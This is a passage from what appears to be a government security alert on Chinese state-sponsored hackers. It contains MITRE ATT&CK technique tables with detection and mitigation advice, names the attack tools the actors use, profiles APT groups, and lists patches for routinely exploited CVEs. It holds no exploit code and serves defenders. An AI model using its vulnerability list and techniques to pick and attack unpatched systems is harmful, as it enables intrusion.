[[TA0026](<https://attack.mitre.org/tactics/TA0026/>)]), and testing (_Test Capabilities_ [[TA0025](<https://attack.mitre.org/tactics/TA0025/>)]) before executing an attack. PRE-ATT&CK techniques can be difficult to detect and mitigate, however, defenders should be aware of the use of these techniques.\n\n_Table 1: Chinese threat actor PRE-ATT&CK techniques_\n\n**Technique** | **Description** \n---|--- \n_Acquire and/or Use 3rd Party Software Services_ [[T1330](<https://attack.mitre.org/techniques/T1330/>)] | Staging and launching attacks from software as a service solutions that cannot be easily tied back to the APT \n_Compromise 3rd Party Infrastructure to Support Delivery_ [[T1334](<https://attack.mitre.org/techniques/T1334/>)] | Compromising infrastructure owned by other parties to facilitate attacks (instead of directly purchasing infrastructure) \n_Domain Registration Hijacking_ [[T1326](<https://attack.mitre.org/techniques/T1326/>)] | Changing the registration of a domain name without the permission of its original registrant and then using the legitimate domain as a launch point for malicious purposes \n_Acquire Open-Source Intelligence (OSINT) Data Sets and Information_ [[T1247](<https://attack.mitre.org/techniques/T1247/>)] | Gathering data and information from publicly available sources, including public-facing websites of the target organization \n_Conduct Active Scanning _[[T1254](<https://attack.mitre.org/techniques/T1254/>)] | Gathering information on target systems by scanning the systems for vulnerabilities. Adversaries are likely using tools such as Shodan to identify vulnerable devices connected to the internet \n_Analyze Architecture and Configuration Posture _[[T1288](<https://attack.mitre.org/techniques/T1288/>)] | Analyzing technical scan results to identify architectural flaws, misconfigurations, or improper security controls in victim networks \n_Upload, Install, and Configure Software/Tools_ [[T1362](<https://attack.mitre.org/techniques/T1362>)] | Placing malware on systems illegitimately for use during later stages of an attack to facilitate exploitability and gain remote access \n \n#### Enterprise ATT&CK TTPs\n\nChinese threat actors often employ publicly known TTPs against enterprise networks. To orchestrate attacks, they use commonly implemented security testing tools and frameworks, such as:\n\n * Cobalt Strike and Beacon\n * Mimikatz\n * PoisonIvy\n * PowerShell Empire\n * China Chopper Web Shell\n\nTable 2 lists common, publicly known, TTPs used by Chinese threat actors against enterprise networks and provides options for detection and mitigation based on the MITRE ATT&CK framework.\n\n_Table 2: Common Chinese threat actor techniques, detection, and mitigation_\n\n**Technique / Sub-Technique** | **Detection** | **Mitigation** \n---|---|--- \n_Obfuscated Files or Information _[[T1027](<https://attack.mitre.org/techniques/T1027/>)] | \n\n * Detect obfuscation by analyzing signatures of modified files.\n * Flag common syntax used in obfuscation.\n| \n\n * Use antivirus/antimalware software to analyze commands after processing. \n_Phishing: Spearphishing Attachment _[[T1566.001](<https://attack.mitre.org/techniques/T1566/001/>)] and _Spearphishing Link _[[T1566.002](<https://attack.mitre.org/techniques/T1566/002/>)] | \n\n * Use network intrusion detection systems (NIDS) and email gateways to detect suspicious attachments in email entering the network.\n * Use detonation chambers to inspect email attachments in isolated environments.\n| \n\n * Quarantine suspicious files with antivirus solutions.\n * Use network intrusion prevention systems to scan and remove malicious email attachments.\n * Train users to identify phishing emails and notify IT. \n_System Network Configuration Discovery_ [[T1016](<https://attack.mitre.org/techniques/T1016/>)] | \n\n * Monitor for processes and command-line arguments that could be used by an adversary to gather system and network information.\n| \n\n * This technique is difficult to mitigate with preventative controls; organizations should focus on detecting and responding to malicious activity to limit impact. \n_Command and Scripting Interpreter: Windows Command Shell _[[T1059.003](<https://attack.mitre.org/techniques/T1059/003/>)] | \n\n * Identify normal scripting behavior on the system then monitor processes and command-line arguments for suspicious script execution behavior.\n| \n\n * Only permit execution of signed scripts.\n * Disable any unused shells or interpreters. \n \n_User Execution: Malicious File _[[T1204.002](<https://attack.mitre.org/techniques/T1204/002/>)] | \n\n * Monitor execution of command-line arguments for applications (including compression applications) that may be used by an adversary to execute a user interaction.\n * Set antivirus software to detect malicious documents and files downloaded and installed on endpoints.\n| \n\n * Use execution prevention to prevent the running of executables disguised as other files.\n * Train users to identify phishing attacks and other malicious events that may require user interaction. \n_Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder _[[T1547.001](<https://attack.mitre.org/techniques/T1547/001/>)] | \n\n * Monitor the start folder for additions and changes.\n * Monitor registry for changes to run keys that do not correlate to known patches or software updates.\n| \n\n * This technique is difficult to mitigate with preventative controls; organizations should focus on detecting and responding to malicious activity to limit impact. \n_Command and Scripting Interpreter: PowerShell _[[T1059.001](<https://attack.mitre.org/techniques/T1059/001/>)] | \n\n * Enable PowerShell logging.\n * Monitor for changes in PowerShell execution policy as a method of identifying malicious use of PowerShell.\n * Monitor for PowerShell execution generally in environments where PowerShell is not typically used.\n| \n\n * Set PowerShell execution policy to execute only signed scripts.\n * Disable PowerShell if not needed by the system.\n * Disable WinRM service to help prevent use of PowerShell for remote execution.\n * Restrict PowerShell execution policy to administrators. \n_Hijack Execution Flow: DLL Side-Loading _[[T1574.002](<https://attack.mitre.org/techniques/T1574/002/>)] | \n\n * Track Dynamic Link Library (DLL) metadata, and compare DLLs that are loaded at process execution time against previous executions to detect usual differences unrelated to patching.\n| \n\n * Use the program `sxstrace.exe` to check manifest files for side-loading vulnerabilities in software.\n * Update software regularly including patches for DLL side-loading vulnerabilities. \n_Ingress Tool Transfer_ [[T1105](<https://attack.mitre.org/techniques/T1105/>)] | \n\n * Monitor for unexpected file creation or files transfer into the network from external systems, which may be indicative of attackers staging tools in the compromised environment.\n * Analyze network traffic for unusual data flows (i.e., a client sending much more data than it receives from a server).\n| \n\n * Use network intrusion detection and prevention systems to identify traffic for specific adversary malware or unusual data transfer over protocols such as File Transfer Protocol. \n_Remote System Discovery_ [[T1018](<https://attack.mitre.org/techniques/T1018/>)] | \n\n * Monitor processes and command-line arguments for actions that could be taken to gather system and network information.\n * In cloud environments, usage of commands and application program interfaces (APIs) to request information about remote systems combined with additional unexpected commands may be a sign of malicious use.\n| \n\n * This technique is difficult to mitigate with preventative controls; organizations should focus on detecting and responding to malicious activity to limit impact. \n_Software Deployment Tools_ [[T1072](<https://attack.mitre.org/techniques/T1072/>)] | \n\n * Identify the typical use pattern of third-party deployment software, then monitor for irregular deployment activity.\n| \n\n * Isolate critical network systems access using group policies, multi-factor authentication (MFA), and firewalls.\n * Patch deployment systems regularly.\n * Use unique and limited credentials for access to deployment systems. \n_Brute Force: Password Spraying_ [[T1110.003](<https://attack.mitre.org/techniques/T1110/003/>)] | \n\n * Monitor logs for failed authentication attempts to valid accounts.\n| \n\n * Use MFA.\n * Set account lockout policies after a certain number of failed login attempts. \n_Network Service Scanning_ [[T1046](<https://attack.mitre.org/techniques/T1046/>)] | \n\n * Use NIDS to identify scanning activity.\n| \n\n * Close unnecessary ports and services.\n * Segment network to protect critical servers and devices. \n_Email Collection _[[T1114](<https://attack.mitre.org/techniques/T1114/>)] | \n\n * Monitor processes and command-line arguments for actions that could be taken to gather local email files.\n| \n\n * Encrypt sensitive emails.\n * Audit auto-forwarding email rules regularly.\n * Use MFA for public-facing webmail servers. \n_Proxy: External Proxy_ [[T1090.002](<https://attack.mitre.org/techniques/T1090/002/>)] | \n\n * Analyze network data for uncommon data flows, such as a client sending significantly more data than it receives from an external server.\n| \n\n * Use NIDS and prevention systems to identify traffic for specific adversary malware using network signatures. \n_Drive-by Compromise _[[T1189](<https://attack.mitre.org/techniques/T1189/>)] | \n\n * Use Firewalls and proxies to inspect URLs for potentially known-bad domains or parameters.\n * Monitor network intrusion detection systems (IDS) to detect malicious scripts, and monitor endpoints for abnormal behavior.\n\n| \n\n * Isolate and sandbox impacted systems and applications to restrict the spread of malware.\n * Leverage security applications to identify malicious behavior during exploitation.\n * Restrict web-based content through ad-blockers and script blocking extensions. \n_Server Software Component: Web Shell_ [[T1505.003](<https://attack.mitre.org/techniques/T1505/003/>)] | \n\n * Analyze authentication logs, files, netflow/enclave netflow, and leverage process monitoring to discover anomalous activity.\n| \n\n * Patch vulnerabilities in internet facing applications.\n * Leverage file integrity monitoring to identify file changes.\n * Configure server to block access to the web accessible directory through principle of least privilege. \n_Application Layer Protocol: File Transfer Protocols _[[T1071.002](<https://attack.mitre.org/techniques/T1071/002/>)] and _DNS_ [[T1071.004](<https://attack.mitre.org/techniques/T1071/004/>)] | \n\n * Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server).\n * Analyze packet contents to detect application layer protocols that do not follow the expected protocol standards regarding syntax, structure, or any other variable adversaries could leverage to conceal data.\n| \n\n * Leverage NIDS and NIPS using network signatures to identify traffic for specific adversary malware. \n \n#### Additional APT Activity\n\nThe TTPs listed above have been repeatedly used across the spectrum of Chinese threat actors. The mitigations referenced in this alert can help reduce vulnerability to these TTPs; however, defenders should also maintain heightened awareness of threats actors that are more innovative in their approach, making it difficult to detect and respond to compromise. Publicly reported examples[[13](<https://www.fireeye.com/current-threats/apt-groups.html>)] include:\n\n * **APT3 **(known as UPS Team) is known for deploying zero-day attacks that target Internet Explorer, Firefox, and Adobe Flash Player. The group\u2019s custom implants and changing Command and Control (C2) infrastructure make them difficult to track. APT3 exploits use Rivest Cypher 4 (RC4) encryption to communicate and bypass address space layout randomization (ASLR)/Data Execution Prevention (DEP) by using Return Oriented Programming (ROP) chains.[[14](<https://attack.mitre.org/groups/G0022/>)]\n * **APT10 **(known as MenuPass Group) has established accessed to victim networks through compromised service providers, making it difficult for network defenders to identify the malicious traffic.\n * **APT19** (known as Codoso and Deep Panda) is known for developing custom Rich Text Format (RTF) and macro-enabled Microsoft Office documents for both implants and payloads. The group has backdoored software, such as software serial generators, and has an elite use of PowerShell for C2 over Hyper Text Transfer Protocol (HTTP)/Hyper Text Transfer Protocol Secure (HTTPS).[[15](<https://attack.mitre.org/groups/G0073/>)]\n * **APT40** (known as Leviathan) has targeted external infrastructure with success, including internet-facing routers and virtual private networks.\n * **APT41 **(known as Double Dragon) has exploited vulnerabilities in Citrix NetScaler/ADC, Cisco routers, and Zoho ManageEngine Desktop Central to compromise victims.[[16](<https://attack.mitre.org/groups/G0096/>)]\n\n### Mitigations\n\n### Recommended Actions\n\nThe following list provides actionable technical recommendations for IT security professionals to reduce their organization\u2019s overall vulnerability. These recommendations are not exhaustive; rather they focus on the actions that will greatly reduce stakeholders\u2019 attack surface.\n\n 1. **Patch systems and equipment promptly and diligently. **Establishing and consistently maintaining a thorough patching cycle continues to be the best defense against adversary TTPs. Focus on patching critical and high vulnerabilities that allow for remote code execution or denial-of-service on externally-facing (i.e., internet) equipment. Certain vulnerabilities\u2014including CVE-2012-0158 in Microsoft products [[17](<https://us-cert.cisa.gov/ncas/alerts/aa20-133a >)], CVE-2019-19781 in Citrix devices [[18](<https://us-cert.cisa.gov/ncas/alerts/aa20-020a>)], and CVE-2020-5902 in BIG-IP Traffic Management User Interface [[19](<https://us-cert.cisa.gov/ncas/current-activity/2020/07/04/f5-releases-security-advisory-big-ip-tmui-rce-vulnerability-cve>)]\u2014have presented APTs with prime targets to gain initial access. Chinese APTs often use existing exploit code to target routinely exploited vulnerabilities [[20](<https://us-cert.cisa.gov/ncas/alerts/aa20-133a >)], which present an opportunistic attack that requires limited resources. See table 3 for patch information on CVEs that have been routinely exploited by Chinese APTs. See table 4 for patch information on vulnerabilities that the National Security Agency (NSA) has stated are actively used by Chinese state-sponsored cyber actors.\n\n_Table 3: Patch information for vulnerabilities routinely exploited by Chinese APT actors_\n\n**Vulnerability** | **Vulnerable Products** | **Patch Information** \n---|---|--- \n[CVE-2012-0158](<https://nvd.nist.gov/vuln/detail/CVE-2012-0158>) | \n\nMicrosoft Office 2003 SP3, 2007 SP2 and SP3, and 2010 Gold and SP1; Office 2003 Web Components SP3; SQL Server 2000 SP4, 2005 SP4, and 2008 SP2, SP3, and R2; BizTalk Server 2002 SP1; Commerce Server 2002 SP4, 2007 SP2, and 2009 Gold and R2; Visual FoxPro 8.0 SP1 and 9.0 SP2; and Visual Basic 6.0\n\n| \n\n * [Microsoft Security Bulletin MS12-027: Vulnerability in Windows Common Controls Could Allow Remote Code Execution](<https://docs.microsoft.com/en-us/security-updates/securitybulletins/2012/ms12-027>) \n[CVE-2020-5902](<https://nvd.nist.gov/vuln/detail/CVE-2020-5902>) | \n\n * Big-IP devices (LTM, AAM, Advanced WAF, AFM, Analytics, APM, ASM, DDHD, DNS, FPS, GTM, Link Controller, PEM, SSLO, CGNAT)\n| \n\n * [F5 Security Advisory: K52145254: TMUI RCE vulnerability CVE-2020-5902](<https://support.f5.com/csp/article/K52145254>) \n[CVE-2019-19781](<https://nvd.nist.gov/vuln/detail/CVE-2019-19781>) | \n\n * Citrix Application Delivery Controller\n * Citrix Gateway\n * Citrix SDWAN WANOP\n\n| \n\n * [Citrix blog post: firmware updates for Citrix ADC and Citrix Gateway versions 11.1 and 12.0](<https://www.citrix.com/blogs/2020/01/19/vulnerability-update-first-permanent-fixes-available-timeline-accelerated/>)\n * [Citrix blog post: security updates for Citrix SD-WAN WANOP release 10.2.6 and 11.0.3](<https://www.citrix.com/blogs/2020/01/22/update-on-cve-2019-19781-fixes-now-available-for-citrix-sd-wan-wanop/>)\n * [Citrix blog post: firmware updates for Citrix ADC and Citrix Gateway versions 12.1 and 13.0](<https://www.citrix.com/blogs/2020/01/23/fixes-now-available-for-citrix-adc-citrix-gateway-versions-12-1-and-13-0/>)\n * [Citrix blog post: firmware updates for Citrix ADC and Citrix Gateway version 10.5](<https://www.citrix.com/blogs/2020/01/24/citrix-releases-final-fixes-for-cve-2019-19781/>) \n[CVE-2019-11510](<https://nvd.nist.gov/vuln/detail/CVE-2019-11510>) | \n\n * Pulse Connect Secure 9.0R1 - 9.0R3.3, 8.3R1 - 8.3R7, 8.2R1 - 8.2R12, 8.1R1 - 8.1R15\n * Pulse Policy Secure 9.0R1 - 9.0R3.1, 5.4R1 - 5.4R7, 5.3R1 - 5.3R12, 5.2R1 - 5.2R12, 5.1R1 - 5.1R15\n| \n\n * [Pulse Secure Out-of-Cycle Advisory: Multiple vulnerabilities resolved in Pulse Connect Secure / Pulse Policy Secure 9.0RX](<https://kb.pulsesecure.net/articles/Pulse_Security_Advisories/SA44101>) \n[CVE-2019-16920](<https://nvd.nist.gov/vuln/detail/CVE-2019-16920>) | \n\n * D-Link products DIR-655C, DIR-866L, DIR-652, DHP-1565, DIR-855L, DAP-1533, DIR-862L, DIR-615, DIR-835, and DIR-825\n| \n\n * [D-Link Security Advisory: DAP-1533 Rv Ax, DGL-5500 Rv Ax, DHP-1565 Rv Ax, DIR-130 Rv Ax, DIR-330 Rv Ax, DIR-615 Rv Ix, (non-US) DIR-652 Rv Bx, DIR-655 Rv Cx, DIR-825 Rv Cx, DIR-835 Rv Ax, DIR-855L Rv Ax, (non-US) DIR-862 Rv Ax, DIR-866L Rv Ax :: CVE-2019-16920 :: Unauthenticated Remote Code Execution (RCE) Vulnerability](<https://supportannouncement.us.dlink.com/announcement/publication.aspx?name=SAP10124>) \n[CVE-2019-16278](<https://nvd.nist.gov/vuln/detail/CVE-2019-16278>) | \n\n * Nostromo 1.9.6 and below\n| \n\n * [Nostromo 1.9.6 Directory Traversal/ Remote Command Execution](<https://packetstormsecurity.com/files/155045/Nostromo-1.9.6-Directory-Traversal-Remote-Command-Execution.html>)\n * [Nostromo 1.9.6 Remote Code Execution](<https://packetstormsecurity.com/files/155802/nostromo-1.9.6-Remote-Code-Execution.html>) \n \n[CVE-2019-1652](<https://nvd.nist.gov/vuln/detail/CVE-2019-1652>) | \n\n * Cisco Small Business RV320 and RV325 Dual Gigabit WAN VPN Routers\n| \n\n * [Cisco Security Advisory: Cisco Small Business RV320 and RV325 Routers Command Injection Vulnerability](<https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190123-rv-inject>) \n[CVE-2019-1653](<https://nvd.nist.gov/vuln/detail/CVE-2019-1653>) | \n\n * Cisco Small Business RV320 and RV325 Dual Gigabit WAN VPN Routers\n| \n\n * [Cisco Security Advisory: Cisco Small Business RV320 and RV325 Routers Information Disclosure Vulnerability](<https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190123-rv-info>) \n[CVE-2020-10189](<https://nvd.nist.gov/vuln/detail/CVE-2020-10189>) | \n\n * Zoho ManageEngine Desktop Central before 10.0.474\n| \n\n * [ManageEngine Desktop Central remote code execution vulnerability (CVE-2020-10189)](<https://www.manageengine.com/products/desktop-central/remote-code-execution-vulnerability.html>) \n \n_Table 4: Patch information for NSA listed vulnerabilities used by Chinese state-sponsored cyber actors [[21](<https://media.defense.gov/2020/Oct/20/2002519884/-1/-1/0/CSA_CHINESE_EXPLOIT_VULNERABILITIES_UOO179811.PDF>)]_\n\n**Vulnerability** | **Vulnerable Products** | **Patch Information** \n---|---|--- \n[CVE-2020-8193](<https://nvd.nist.gov/vuln/detail/CVE-2020-8193>) | \n\n * Citrix ADC and Citrix Gateway versions before 13.0-58.30, 12.1-57.18, 12.0-63.21, 11.1-64.14 and 10.5-70.18\n * Citrix SDWAN WAN-OP versions before 11.1.1a, 11.0.3d and 10.2.7\n| \n\n * [Citrix Security Bulletin CTX276688](<https://support.citrix.com/article/CTX276688>) \n[CVE-2020-8195](<https://nvd.nist.gov/vuln/detail/CVE-2020-8195>) | \n\n * Citrix ADC and Citrix Gateway versions before 13.0-58.30, 12.1-57.18, 12.0-63.21, 11.1-64.14 and 10.5-70.18\n * Citrix SDWAN WAN-OP versions before 11.1.1a, 11.0.3d and 10.2.7\n| \n\n * [Citrix Security Bulletin CTX276688](<https://support.citrix.com/article/CTX276688>) \n[CVE-2020-8196](<https://nvd.nist.gov/vuln/detail/CVE-2020-8196>) | \n\n * Citrix ADC and Citrix Gateway versions before 13.0-58.30, 12.1-57.18, 12.0-63.21, 11.1-64.14 and 10.5-70.18\n * Citrix SDWAN WAN-OP versions before 11.1.1a, 11.0.3d and 10.2.7\n\n| \n\n * [Citrix Security Bulletin CTX276688](<https://support.citrix.com/article/CTX276688>) \n[CVE-2019-0708](<https://nvd.nist.gov/vuln/detail/CVE-2019-0708>) | \n\n * Windows 7 for 32-bit Systems Service Pack 1\n * Windows 7 for x64-based Systems Service Pack 1\n * Windows Server 2008 for 32-bit Systems Service Pack 2\n * Windows Server 2008 for 32-bit Systems Service Pack 2 (Server Core installation)\n * Windows Server 2008 for Itanium-Based Systems Service Pack 2\n * Windows Server 2008 for x64-based Systems Service Pack 2\n * Windows Server 2008 for x64-based Systems Service Pack 2 (Server Core installation)\n * Windows Server 2008 R2 for Itanium-Based Systems Service Pack 1\n * Windows Server 2008 R2 for x64-based Systems Service Pack 1\n * Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)\n| \n\n * [Microsoft Security Advisory for CVE-2019-0708](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-0708>) \n[CVE-2020-15505](<https://nvd.nist.gov/vuln/detail/CVE-2020-15505>) | \n\n * MobileIron Core & Connector versions 10.3.0.3 and earlier, 10.4.0.0, 10.4.0.1, 10.4.0.2, 10.4.0.3, 10.5.1.0, 10.5.2.0 and 10.6.0.0\n * Sentry versions 9.7.2 and earlier, and 9.8.0;\n * Monitor and Reporting Database (RDB) version 2.0.0.1 and earlier\n| \n\n * [MobileIron Blog: MobileIron Security Updates Available](<https://www.mobileiron.com/en/blog/mobileiron-security-updates-available>) \n[CVE-2020-1350](<https://nvd.nist.gov/vuln/detail/CVE-2020-1350>) | \n\n * Windows Server 2008 for 32-bit Systems Service Pack 2\n * Windows Server 2008 for 32-bit Systems Service Pack 2 (Server Core installation)\n * Windows Server 2008 for x64-based Systems Service Pack 2\n * Windows Server 2008 for x64-based Systems Service Pack 2 (Server Core installation)\n * Windows Server 2008 R2 for x64-based Systems Service Pack 1\n * Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)\n * Windows Server 2012\n * Windows Server 2012 (Server Core installation)\n * Windows Server 2012 R2\n * Windows Server 2012 R2 (Server Core installation)\n * Windows Server 2016\n * Windows Server 2016 (Server Core installation)\n * Windows Server 2019\n * Windows Server 2019 (Server Core installation)\n * Windows Server, version 1903 (Server Core installation)\n * Windows Server, version 1909 (Server Core installation)\n * Windows Server, version 2004 (Server Core installation)\n| \n\n * [Microsoft Security Advisory for CVE-2020-1350](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-1350>) \n \n[CVE-2020-1472](<https://nvd.nist.gov/vuln/detail/CVE-2020-1472>) | \n\n * Windows Server 2008 R2 for x64-based Systems Service Pack 1\n * Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)\n * Windows Server 2012\n * Windows Server 2012 (Server Core installation)\n * Windows Server 2012 R2\n * Windows Server 2016\n * Windows Server 2019\n * Windows Server 2019 (Server Core installation)\n * Windows Server, version 1903 (Server Core installation)\n * Windows Server, version 1909 (Server Core installation)\n * Windows Server, version 2004 (Server Core installation)\n| \n\n * [Microsoft Security Advisory for CVE-2020-1472](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-1472>) \n \n[CVE-2020-1040](<https://nvd.nist.gov/vuln/detail/CVE-2020-1040>) | \n\n * Windows Server 2008 R2 for x64-based Systems Service Pack 1\n * Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)\n * Windows Server 2012\n * Windows Server 2012 (Server Core installation)\n * Windows Server 2012 R2\n * Windows Server 2012 R2 (Server Core installation)\n * Windows Server 2016\n * Windows Server 2016 (Server Core installation)\n| \n\n * [Microsoft Security Advisory for CVE-2020-1040](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-1040>) \n[CVE-2018-6789](<https://nvd.nist.gov/vuln/detail/CVE-2018-6789>) | \n\n * Exim before 4.90.1\n| \n\n * [Exim page for CVE-2020-6789](<https://exim.org/static/doc/security/CVE-2018-6789.txt>)\n * [Exim patch information for CVE-2020-6789](<https://git.exim.org/exim.git/commit/cf3cd306062a08969c41a1cdd32c6855f1abecf1>) \n[CVE-2020-0688](<https://nvd.nist.gov/vuln/detail/CVE-2020-0688>) | \n\n * Microsoft Exchange Server 2010 Service Pack 3 Update Rollup 30\n * Microsoft Exchange Server 2013 Cumulative Update 23\n * Microsoft Exchange Server 2016 Cumulative Update 14\n * Microsoft Exchange Server 2016 Cumulative Update 15\n * Microsoft Exchange Server 2019 Cumulative Update 3\n * Microsoft Exchange Server 2019 Cumulative Update 4\n| \n\n * [Microsoft Security Advisory for CVE-2020-0688](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0688>) \n[CVE-2018-4939](<https://nvd.nist.gov/vuln/detail/CVE-2018-4939>) | \n\n * ColdFusion Update 5 and earlier versions\n * ColdFusion 11 Update 13 and earlier versions\n| \n\n * [Adobe Security Bulletin APSB18-14](<https://helpx.adobe.com/security/products/coldfusion/apsb18-14.html>) \n[CVE-2015-4852](<https://nvd.nist.gov/vuln/detail/CVE-2015-4852>) | \n\n * Oracle WebLogic Server 10.3.6.0, 12.1.2.0, 12.1.3.0, and 12.2.1.0\n| \n\n * [Oracle Critical Patch Update Advisory - October 2016](<https://www.oracle.com/security-alerts/cpuoct2016.html>) \n[CVE-2020-2555](<https://nvd.nist.gov/vuln/detail/CVE-2020-2555>) | \n\n * Oracle Coherence product of Oracle Fusion Middleware Middleware; versions 3.7.1.0, 12.1.3.0.0, 12.2.1.3.0 and 12.2.1.4.0.\n| \n\n * [Oracle Critical Patch Update Advisory - January 2020](<https://www.oracle.com/security-alerts/cpujan2020.html>) \n[CVE-2019-3396](<https://nvd.nist.gov/vuln/detail/CVE-2019-3396>) | \n\n * Atlassian Confluence Server before version 6.6.12, from version 6.7.0 before 6.12.3, from version 6.13.0 before 6.13.3), and from version 6.14.0 before 6.14.2\n| \n\n * [Jira Atlassian Confluence Sever and Data Center: Remote code execution via Widget Connector macro - CVE-2019-3396](<https://jira.atlassian.com/browse/CONFSERVER-57974>) \n[CVE-2019-11580](<https://nvd.nist.gov/vuln/detail/CVE-2019-11580>) | \n\n * Atlassian Crowd and Crowd Data Center from version 2.1.0 before 3.0.5, from version 3.1.0 before 3.1.6, from version 3.2.0 before 3.2.8, from version 3.3.0 before 3.3.5, and from version 3.4.0 before 3.4.4\n| \n\n * [Jira Atlassian Crowd: Crowd - pdkinstall development plugin incorrectly enabled - CVE-2019-11580](<https://jira.atlassian.com/browse/CWD-5388>) \n[CVE-2020-10189](<https://nvd.nist.gov/vuln/detail/CVE-2020-10189>) | \n\n * Zoho ManageEngine Desktop Central before 10.0.474\n| \n\n * [ManageEngine Desktop Central remote code execution vulnerability (CVE-2020-10189)](<https://www.manageengine.com/products/desktop-central/remote-code-execution-vulnerability.html>) \n[CVE-2019-18935](<https://nvd.nist.gov/vuln/detail/CVE-2019-18935>) | \n\n * Progress Telerik UI for ASP.NET AJAX through 2019.3.1023\n| \n\n * [Telerik: ASP.NET AJAX: Allows JavaScriptSerializer Deserialization](<https://www.telerik.com/support/kb/aspnet-ajax/details/allows-javascriptserializer-deserialization>) \n[CVE-2020-0601](<https://nvd.nist.gov/vuln/detail/CVE-2020-0601>) | \n\n * Windows 10 for 32-bit Systems\n * Windows 10 for x64-based Systems\n * Windows 10 Version 1607 for 32-bit Systems\n * Windows 10 Version 1607 for x64-based Systems\n * Windows 10 Version 1709 for 32-bit Systems\n * Windows 10 Version 1709 for ARM64-based Systems\n * Windows 10 Version 1709 for x64-based Systems\n * Windows 10 Version 1803 for 32-bit Systems\n * Windows 10 Version 1803 for ARM64-based Systems\n * Windows 10 Version 1803 for x64-based Systems\n * Windows 10 Version 1809 for 32-bit Systems\n * Windows 10 Version 1809 for ARM64-based Systems\n * Windows 10 Version 1809 for x64-based Systems\n * Windows 10 Version 1903 for 32-bit Systems\n * Windows 10 Version 1903 for ARM64-based Systems\n * Windows 10 Version 1903 for x64-based Systems\n * Windows 10 Version 1909 for 32-bit Systems\n * Windows 10 Version 1909 for ARM64-based Systems\n * Windows 10 Version 1909 for x64-based Systems\n * Windows Server 2016\n * Windows Server 2016 (Server Core installation)\n * Windows Server 2019\n * Windows Server 2019 (Server Core installation)\n * Windows Server, version 1803 (Server Core Installation)\n * Windows Server, version 1903 (Server Core installation)\n * Windows Server, version 1909 (Server Core installation)\n| \n\n * [Microsoft Security Advisory for CVE-2020-0601](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0601>) \n[CVE-2019-0803](<https://nvd.nist.gov/vuln/detail/CVE-2019-0803>) | \n\n * Windows 10 for 32-bit Systems\n * Windows 10 for x64-based Systems\n * Windows 10 Version 1607 for 32-bit Systems\n * Windows 10 Version 1607 for x64-based Systems\n * Windows 10 Version 1703 for 32-bit Systems\n * Windows 10 Version 1703 for x64-based Systems\n * Windows 10 Version 1709 for 32-bit Systems\n * Windows 10 Version 1709 for ARM64-based Systems\n * Windows 10 Version 1709 for x64-based Systems\n * Windows 10 Version 1803 for 32-bit Systems\n * Windows 10 Version 1803 for ARM64-based Systems\n * Windows 10 Version 1803 for x64-based Systems\n * Windows 10 Version 1809 for 32-bit Systems\n * Windows 10 Version 1809 for ARM64-based Systems\n * Windows 10 Version 1809 for x64-based Systems\n * Windows 7 for 32-bit Systems Service Pack 1\n * Windows 7 for x64-based Systems Service Pack 1\n * Windows 8.1 for 32-bit systems\n * Windows 8.1 for x64-based systems\n * Windows RT 8.1\n * Windows Server 2008 for 32-bit Systems Service Pack 2\n * Windows Server 2008 for 32-bit Systems Service Pack 2 (Server Core installation)\n * Windows Server 2008 for Itanium-Based Systems Service Pack 2\n * Windows Server 2008 for x64-based Systems Service Pack\n * Windows Server 2008 for x64-based Systems Service Pack 2 (Server Core installation)\n * Windows Server 2008 R2 for Itanium-Based Systems Service Pack 1\n * Windows Server 2008 R2 for x64-based Systems Service Pack 1\n * Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)\n * Windows Server 2012\n * Windows Server 2012 (Server Core installation)\n * Windows Server 2012 R2\n * Windows Server 2012 R2 (Server Core installation)\n * Windows Server 2016\n * Windows Server 2016 (Server Core installation)\n * Windows Server 2019\n * Windows Server 2019 (Server Core installation)\n * Windows Server, version 1803 (Server Core Installation)\n| \n\n * [Microsoft Security Advisory for CVE-2019-0803](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-0803>) \n \n[CVE-2017-6327](<https://nvd.nist.gov/vuln/detail/CVE-2017-6327>) | \n\n * Symantec Messaging Gateway before 10.6.3-267\n| \n\n * [Broadcom Security Updates Detial for CVE-2017-6327 and CVE-2017-6328 ](<https://www.broadcom.com/support/security-center/securityupdates/detail?fid=security_advisory&pvid=security_advisory&year=&suid=20170810_00>) \n[CVE-2020-3118](<https://nvd.nist.gov/vuln/detail/CVE-2020-3118>) | \n\n * ASR 9000 Series Aggregation Services Routers\n * Carrier Routing System (CRS)\n * IOS XRv 9000 Router\n * Network Convergence System (NCS) 540 Series Routers\n * NCS 560 Series Routers\n * NCS 1000 Series Routers\n * NCS 5000 Series Routers\n * NCS 5500 Series Routers\n * NCS 6000 Series Routers\n| \n\n * [Cisco Security Advisory cisco-sa-20200205-iosxr-cdp-rce](<https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20200205-iosxr-cdp-rce>) \n[CVE-2020-8515](<https://nvd.nist.gov/vuln/detail/CVE-2020-8515>) | \n\n * DrayTek Vigor2960 1.3.1_Beta, Vigor3900 1.4.4_Beta, and Vigor300B 1.3.3_Beta, 1.4.2.1_Beta, and 1.4.4_Beta devices\n| \n\n * [Draytek Security Advisory: Vigor3900 / Vigor2960 / Vigor300B Router Web Management Page Vulnerability (CVE-2020-8515)](<https://www.draytek.com/about/security-advisory/vigor3900-/-vigor2960-/-vigor300b-router-web-management-page-vulnerability-\$cve-2020-8515\$/>) \n \n 2. **Implement rigorous configuration management programs. **Audit configuration management programs to ensure they can track and mitigate emerging threats. Review system configurations for misconfigurations and security weaknesses. Implementing a robust configuration and patch management program hinders sophisticated APT operations by limiting the effectiveness of 